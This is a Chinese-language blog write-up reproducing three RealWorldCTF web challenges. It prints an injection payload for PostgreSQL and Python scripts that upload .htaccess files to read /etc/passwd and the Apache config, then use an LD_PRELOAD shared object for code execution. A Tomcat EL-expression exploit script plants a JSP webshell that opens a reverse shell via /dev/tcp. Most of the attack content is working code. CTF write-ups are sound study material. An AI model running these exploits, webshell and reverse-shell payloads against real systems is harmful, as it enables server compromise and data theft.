realworldCTF复现

realworldCTF复现

Hack into Skynet

摸鱼太久了,有点忘记了,写写思路算了。一个奇怪的SQL注入。有一个逻辑漏洞:

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else ''
    return name == username

if not username and not password:需要两个都为空才会进入,所以直接空用户名加任意密码就可以登录。
登录之后有个sql注入:

def query_kill_time():
    name = flask.request.form.get('name', '')
    if not name:
        return None

    sql = ("SELECT name, born"
           "  FROM target"
           "  WHERE age > 0"
           "    AND name = '{}'").format(name)
    nb = sql_exec(sql)
    if not nb:
        return None
    return '{}: {}'.format(*nb[0])

然后后台有个奇怪的Skynet进行过滤

def skynet_detect():
    req = {
        'method': flask.request.method,
        'path': flask.request.full_path,
        'host': flask.request.headers.get('host'),
        'content_type': flask.request.headers.get('content-type'),
        'useragent': flask.request.headers.get('user-agent'),
        'referer': flask.request.headers.get('referer'),
        'cookie': flask.request.headers.get('cookie'),
        'body': str(flask.request.get_data()),
    }
    _, result = skynet.classify(req)
    return result and result['attack']

然后需要formdata来进行绕过'body': str(flask.request.get_data())。而且经过多次测试,必须要有limit ... offset ...,不知道为啥。而且还是pgsql的注入,还得看一波pgsql的语法☺️:https://www.freebuf.com/articles/web/249371.html
最终payload:

'; SELECT access_key, secret_key FROM target_credentials LIMIT 1 OFFSET '0 

但是测试的时候,不用formdata也能注入,不懂为啥。

RWDN

一个文件上传的题目。由于有过滤,预期解是用原型链的方式绕过:https://gist.github.com/wupco/8d4c85b93458364ec49617cff182c597
非预期可以进行多文件上传来进行绕过。可以上传任意文件之后,直接来个.htaccess,然后就可以利用.htaccess进行任意文件读取:

ErrorDocument 404 %{file:/etc/passwd}

读apache的配置文件:/etc/apache2/apache.conf,可以看到ExtFilterDefine gzip mode=output cmd=/bin/gzip然后用.htaccess来进行rce
https://httpd.apache.org/docs/2.4/mod/mod_ext_filter.html
ExtFilterDefine可以定义一个外部程序对内容进行处理,然后用.htaccess的SetEnv进行设置环境变量,可以劫持LD_PRELOAD来执行恶意so。然后用SetOutputFilter调用gzip创建新进程执行恶意so。在discord上的一个wp:
1 - arbitrary file upload with any extension

#!/usr/bin/env python3

import requests
data = """aaa"""
fname = ".htaccess"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
print(r.text)
url = r.text
url = url[url.index('http'):-5]
try:
    requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
except:
    pass
r = requests.get(url+fname)
print(r.text,url+fname)

2 - arbitrary file read using .htaccess -> read apache.conf

#!/usr/bin/env python3
import requests
# r = requests.post('http://localhost:31337/upload?formid=a',files={'a':('.htaccess','file_data'),'asdf':('zzz.txt','LMAO')})
data = """
redirect permanent "/%{BASE64:%{FILE:/etc/passwd}}"
"""
fname = ".htaccess"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
url = r.text
url = url[url.index('http'):-5]
print(1337)
requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})

fname = "lmao.cgi"
r = requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
r = requests.get(url+fname,allow_redirects=False)
print(r.text,url+fname,r.headers)

3 - upload malicious so file, set LD_PRELOAD using SetEnv (overwrite _init()), pass env to the cmd binary

#!/usr/bin/env python3

import requests
data = open("./hack.so",'rb').read()
fname = "hack.so"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
print(r.text)
url = r.text
url = url[url.index('http'):-5]
path = url[27:]
try:
    requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
except:
    pass
r = requests.get(url+fname)
print(url+fname)
print(path)

data = f"""<Files ~ "^.ht">
 Require all granted
 Order allow,deny
 Allow from all
SetEnv LD_PRELOAD /var/www/html/uploads/{path}/hack.so
SetOutputFilter gzip
</Files>"""
fname = ".htaccess"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
print(r.text)
url = r.text
url = url[url.index('http'):-5]
try:
    requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
except:
    pass
r = requests.get(url+fname)
print(r.text,url+fname)

so就是经典操作了。

Desperate Cat

看不懂的java题,wp:https://github.com/voidfyoo/rwctf-4th-desperate-cat/tree/main/writeup
过滤了:

"&", "<", "'", ">", "\"", "(", ")"

似乎写不了jsp,但是可以用EL表达式进行绕过,tomcat默认支持。wp里面举了个例子:

${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}

.就是get方法,=是set方法,整个式子等价于:

pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter("a"));

试了一下:

${Runtime.getRuntime().exec(param.cmd)}

直接报500,执行不了不懂为啥🤡。所以看来只能写jsp了。然后看了一波wp,好像是这样搞的:

  1. 修改session保存的路径和文件名
    ${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
  2. 往session里面写shell
    ${sessionScope[param.b]=param.c}
  3. 设置服务器的重新加载为true
    ${pageContext.servletContext.classLoader.resources.context.reloadable=true}
  4. 修改tomcat的web容器路径到根目录

    ${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}

    然后就可以直接直接访问到/tmp/session.jsp的木马了
    wp的脚本:

    #!/usr/bin/env python3
    
    import sys
    import time
    import requests
    
    PROXIES = None
    
    if __name__ == '__main__':
        target_url = sys.argv[1]    # e.g. http://127.0.0.1:8080/
        reverse_shell_host = sys.argv[2]
        reverse_shell_port = sys.argv[3]
    
        el_payload = r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
    ${sessionScope[param.b]=param.c}
    ${pageContext.servletContext.classLoader.resources.context.reloadable=true}
    ${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""
        reverse_shell_jsp_payload = r"""<%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >& /dev/tcp/""" + reverse_shell_host + "/" + reverse_shell_port + r""" 0>&1"});%>"""
        r = requests.post(url=f'{target_url}/export',
                          data={
                              'dir': '',
                              'filename': 'a.jsp',
                              'content': el_payload,
                          },
                          proxies=PROXIES)
        shell_path = r.text.strip().split('/')[-1]
        shell_url = f'{target_url}/export/{shell_path}'
        r2 = requests.post(url=shell_url,
                           data={
                               'a': '/tmp/session.jsp',
                               'b': 'voidfyoo',
                               'c': reverse_shell_jsp_payload,
                               'd': '/',
                           },
                           proxies=PROXIES)
        r3 = requests.post(url=f'{target_url}/export',
                           data={
                               'dir': './WEB-INF/lib/',
                               'filename': 'a.jar',
                               'content': 'a',
                           },
                           proxies=PROXIES)
        time.sleep(10)  # wait a while
        r4 = requests.get(url=f'{target_url}/tmp/session.jsp', proxies=PROXIES)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇